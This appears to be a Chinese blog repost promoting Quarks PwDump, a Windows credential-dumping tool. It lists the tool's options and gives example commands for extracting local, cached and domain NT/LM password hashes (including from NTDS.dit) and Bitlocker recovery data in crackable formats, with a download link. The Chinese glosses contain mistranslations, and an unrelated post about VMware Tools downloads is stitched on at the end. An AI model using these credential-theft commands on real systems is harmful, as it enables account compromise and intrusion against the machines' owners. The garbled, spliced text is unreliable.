Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。作者开发这个工具的原因是现在没有一款工具能同时抓取所有类型的hash和Bitlocker信息。这个工具没有注入任何进程,工作原理是神马呢,源代码值得读一下。

它目前可以导出 :
– Local accounts NT/LM hashes + history 本机NT/LM哈希+历史登录记录
– Domain accounts NT/LM hashes + history 域中的NT/LM哈希+历史登录记录
– Cached domain password 缓存中的域管理密码
– Bitlocker recovery information (recovery passwords & key packages) 使用Bitlocker的恢复后遗留的信息

支持的操作系统 : XP/2003/Vista/7/2008/8

USAGE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
=========

Here it is how you can use Quarks PWDump:

quarks-pwdump.exe<option(s)>
Options :
–dump-hash-local
–dump-hash-domain-cached
–dump-hash-domain (NTDS_FILE must be specified)
–dump-bitlocker (NTDS_FILE must be specified)
–with-history (optional)
–output-type JOHN/LC (optional, if no=>JOHN)
–output FILE (optional, if no=>stdout)

Dump options must be user all at once.
In all cases, the tool must be executed on the targeted operating system.

Some command examples:

– Dump domain hashes from NTDS.dit with its history
#quarks-pwdump.exe –dump-hash-domain –with-history

– Dump local account hashes to LC format
#quarks-pwdump.exe –dump-hash-local –output-type LC

– Dump domain hashes from NTDS.dit with its history
#quarks-pwdump.exe –dump-bitlocker –output c:bitlocker.txt c:ntds.dit

All features require administrator privileges.

本机测试截图(win7 64):

下载地址:http://code.google.com/p/quarkspwdump/ (需要翻墙下载)

QuarksPwDump_v0.2b.zip (280.6 KB, 7,537 次)

来源:https://www.webshell.cc/4625.html

2022-02-05

VMware Tools ISO文件下载

  1. 进入网站后 https://packages.vmware.com/tools/esx/
  2. 选择VM所在的ESXi版本目录
  3. 选择OS版本目录
  4. 目录下找到VMware tools的iso文件,点击即可下载。